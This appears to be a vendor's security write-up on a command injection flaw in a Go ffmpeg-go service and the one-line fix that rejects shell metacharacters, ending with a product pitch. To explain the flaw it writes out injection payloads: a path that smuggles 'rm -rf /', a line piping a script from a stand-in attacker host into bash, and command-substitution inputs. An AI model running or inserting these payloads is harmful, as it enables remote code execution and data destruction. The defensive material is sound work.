How Command Injection Happens in Go ffmpeg-go and How to Fix It
Summary
A critical command injection vulnerability (CVE-2026-41179, CWE-78) was found in drivers/local/util.go of a Go media processing service. User-controlled file paths were passed to ffmpeg.Input() without filtering shell metacharacters, meaning a crafted filename like /tmp/input.mp4; rm -rf / could slip past existing validation and potentially execute arbitrary OS commands. The fix — a single targeted strings.ContainsAny() check — closes the gap between structural path validation and true shell safety.
Introduction
The drivers/local/util.go file handles media transcoding for a Go service, using the ffmpeg-go library to resize images via the ResizeImageToBufferWithFFmpegGo() function. A sanitizeFilePath() helper was already in place to validate input paths — checking that they were absolute, canonically cleaned, and pointed to real, accessible files on disk.
That sounds thorough. It wasn't.
The missing piece: none of those checks reject shell metacharacters. A path like /tmp/evil.mp4; whoami is absolute. It can be cleaned with filepath.Clean(). It might even resolve to a real file if an attacker pre-creates it. But if the ffmpeg-go library constructs a shell command string internally — which some FFmpeg wrapper libraries do — that semicolon becomes a command separator, and the injected payload executes with the service's privileges.
This is the subtle danger of defense-in-depth gaps: each individual check looks reasonable in isolation, but together they leave a critical blind spot.
The Vulnerability Explained
The Vulnerable Code (Before the Fix)
Here is the relevant portion of sanitizeFilePath() in drivers/local/util.go before the fix, around line 49:
func sanitizeFilePath(path string) (string, error) {
cleaned := filepath.Clean(path)
if !filepath.IsAbs(cleaned) {
return "", fmt.Errorf("file path must be absolute: %s", path)
}
// ← NO check for shell metacharacters here
info, err := os.Stat(cleaned)
if err != nil {
return "", fmt.Errorf("file path is not accessible: %w", err)
}
// ... continues with regular file check
}
And the calling function that feeds this path into ffmpeg-go:
func ResizeImageToBufferWithFFmpegGo(inputPath string, size int, format string) (*bytes.Buffer, error) {
sanitized, err := sanitizeFilePath(inputPath)
if err != nil {
return nil, err
}
// sanitized path goes directly into ffmpeg.Input()
stream := ffmpeg.Input(sanitized)
// ...
}
Why This Is Dangerous
The sanitizeFilePath() function performs three checks:
filepath.Clean()— normalizes..traversals and redundant slashesfilepath.IsAbs()— ensures the path starts from rootos.Stat()— confirms the file exists and is accessible
None of these checks care about characters like ;, |, &, or backticks. Those characters have no meaning to the filesystem — but they are highly meaningful to a shell.
The risk depends on how ffmpeg-go internally invokes FFmpeg. Some Go FFmpeg wrappers ultimately construct a command string and pass it through a shell (e.g., sh -c "ffmpeg -i <path> ..."). If that's the case here, a path containing ; becomes a command separator, and everything after it runs as a separate shell command.
A Concrete Attack Scenario
Suppose the service accepts a file path through an HTTP endpoint or a remote control (RC) endpoint (as suggested by the CVE description mentioning an exposed RC endpoint). An attacker submits:
/tmp/input.mp4; curl https://attacker.com/shell.sh | bash
The path /tmp/input.mp4 is absolute ✓, it's clean ✓, and if the attacker has pre-created /tmp/input.mp4, it passes os.Stat() ✓. The path sails through sanitizeFilePath() and lands in ffmpeg.Input().
If ffmpeg-go passes this to a shell, the result is:
ffmpeg -i /tmp/input.mp4; curl https://attacker.com/shell.sh | bash
The FFmpeg command runs (possibly failing on the fake file), and then the attacker's shell script executes. Game over.
Other dangerous payloads include:
- $(whoami) — command substitution via $(...)
- `id` — backtick command substitution
- /tmp/file\x00.mp4 — null byte injection to truncate the path in C-level code
The Fix
What Changed
A single, targeted line was added to sanitizeFilePath() in drivers/local/util.go at line 52 (between the IsAbs check and the os.Stat call):
func sanitizeFilePath(path string) (string, error) {
cleaned := filepath.Clean(path)
if !filepath.IsAbs(cleaned) {
return "", fmt.Errorf("file path must be absolute: %s", path)
}
+ if strings.ContainsAny(cleaned, ";&|`$<>!\n\r\x00") {
+ return "", fmt.Errorf("file path contains invalid characters: %s", path)
+ }
info, err := os.Stat(cleaned)
if err != nil {
return "", fmt.Errorf("file path is not accessible: %w", err)
}
Before vs. After
Before: sanitizeFilePath() validated path structure (absolute, clean, accessible) but allowed any characters through, including shell metacharacters.
After: sanitizeFilePath() additionally rejects any path containing:
| Character | Shell Meaning |
|---|---|
; |
Command separator |
& |
Background execution / AND operator |
\| |
Pipe — chain commands |
` |
Backtick command substitution |
$ |
Variable expansion / $() substitution |
<, > |
Input/output redirection |
! |
History expansion in some shells |
\n, \r |
Newline injection |
\x00 |
Null byte — truncates C strings |
Why This Placement Matters
The check is inserted after filepath.Clean() but before os.Stat(). This ordering is deliberate:
filepath.Clean()runs first, resolving any path traversal attempts. This means a path like/tmp/../etc/passwdbecomes/etc/passwdbefore the character check runs — preventing encoded traversals from sneaking through.- The metacharacter check then runs on the normalized path, ensuring no shell-dangerous characters remain.
- Only then does
os.Stat()run, avoiding a TOCTOU risk where an attacker might manipulate the filesystem between the stat and the ffmpeg call.
Prevention & Best Practices
1. Prefer Argument Arrays Over Shell Strings
The most robust defense against command injection in Go is to never involve a shell at all. Use exec.Command() with explicit argument arrays:
// UNSAFE: shell interpolation
cmd := exec.Command("sh", "-c", "ffmpeg -i " + userPath)
// SAFE: no shell involved
cmd := exec.Command("ffmpeg", "-i", userPath, outputArgs...)
When arguments are passed as separate strings to exec.Command(), Go's os/exec package uses execve() directly — no shell, no metacharacter interpretation.
2. Validate at the Boundary, Not Just Structurally
Path validation should cover both structural validity (absolute, no traversal) and character safety (no shell metacharacters). The fix demonstrates this layered approach. Consider a helper that encodes both concerns:
var shellMetaChars = ";&|`$<>!\n\r\x00"
func isSafeFilePath(path string) bool {
cleaned := filepath.Clean(path)
return filepath.IsAbs(cleaned) && !strings.ContainsAny(cleaned, shellMetaChars)
}
3. Use an Allowlist Where Possible
Rather than blocklisting dangerous characters, consider allowlisting safe ones. Legitimate file paths typically only need alphanumerics, /, -, _, ., and spaces:
var safePathPattern = regexp.MustCompile(`^[a-zA-Z0-9/_\-\. ]+$`)
if !safePathPattern.MatchString(cleaned) {
return "", fmt.Errorf("file path contains disallowed characters")
}
Allowlists are generally more robust than blocklists because they don't depend on anticipating every possible dangerous character.
4. Audit Third-Party Library Behavior
When using wrapper libraries for tools like FFmpeg, ImageMagick, or similar, always check whether the library invokes the underlying binary via a shell. Review the library's source or documentation. If shell invocation is possible, treat every string passed to the library as a potential injection vector.
5. Write Regression Tests for Security Properties
The PR includes a regression test (TestResizeImageToBufferWithFFmpegGo_ShellInjection) that explicitly tests malicious payloads like ; rm -rf /, $(whoami), and `id`. This kind of security-focused test is invaluable — it documents the expected security behavior and will catch any future regression that weakens the validation.
6. Apply Defense in Depth
No single check is sufficient. The right approach combines:
- Input validation (this fix)
- Least-privilege process execution (run the service as a non-root user)
- Sandboxing (restrict filesystem access with seccomp, AppArmor, or containers)
- Monitoring (alert on unexpected subprocess spawning)
Relevant Standards
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- OWASP Command Injection: One of the most consistently dangerous vulnerability classes
- OWASP Input Validation Cheat Sheet: Recommends validating type, length, format, and range of all inputs
Key Takeaways
- Path validation is not the same as shell safety. The original
sanitizeFilePath()indrivers/local/util.gocorrectly validated filesystem properties but was blind to shell metacharacters — two different threat models that both need addressing. filepath.Clean()does not remove shell metacharacters. It normalizes traversal sequences and redundant slashes, but;,|,$, and backticks pass through untouched.- The order of checks in
sanitizeFilePath()matters. Runningfilepath.Clean()before the metacharacter check ensures that encoded traversals are resolved before the safety check runs. - Third-party library internals can reintroduce shell exposure. Even if your code uses a Go API, the underlying library may construct and execute shell strings — making input sanitization at your layer essential.
- Regression tests should encode security invariants. The test added in this PR (
TestResizeImageToBufferWithFFmpegGo_ShellInjection) ensures the property "shell metacharacters are always rejected" is machine-verifiable going forward.
How Orbis AppSec Detected This
- Source: User-controlled file path parameter passed into
ResizeImageToBufferWithFFmpegGo()— potentially via an exposed HTTP or RC (remote control) endpoint - Sink:
ffmpeg.Input(sanitized)indrivers/local/util.go:96, where the sanitized (but not shell-safe) path is handed to the ffmpeg-go library, which may construct shell command strings internally - Missing control:
sanitizeFilePath()validated path structure (absolute, clean, accessible) but performed no check for shell metacharacters such as;,|,&, backticks, or$ - CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command
- Fix: Added
strings.ContainsAny(cleaned, ";&|+ "" +$<>!\n\r\x00")check insanitizeFilePath()` to reject any path containing shell-dangerous characters before it reaches ffmpeg-go
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This vulnerability is a textbook example of a defense gap: an existing security control (sanitizeFilePath()) that addressed one threat model (path traversal) while inadvertently leaving another (shell injection) wide open. The two threats look similar on the surface — both involve malicious file paths — but they require different mitigations.
The fix is elegantly minimal: three lines that add shell metacharacter rejection to an already-existing validation function. But the lesson is broader. Whenever user input touches an external process — whether through Go's os/exec, a C library via CGo, or a wrapper like ffmpeg-go — developers must think about both the filesystem semantics and the shell semantics of that input. Structural validity is necessary but not sufficient.
For Go developers building media processing pipelines, file conversion services, or any feature that bridges user input and external binaries: audit your sanitization functions not just for what they check, but for what they don't check.
References
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- OWASP OS Command Injection Defense Cheat Sheet
- OWASP Input Validation Cheat Sheet
- Go
os/execpackage documentation — safe subprocess execution - Semgrep rules for command injection
- fix: sanitize shell/subprocess call in util.go (PR reference)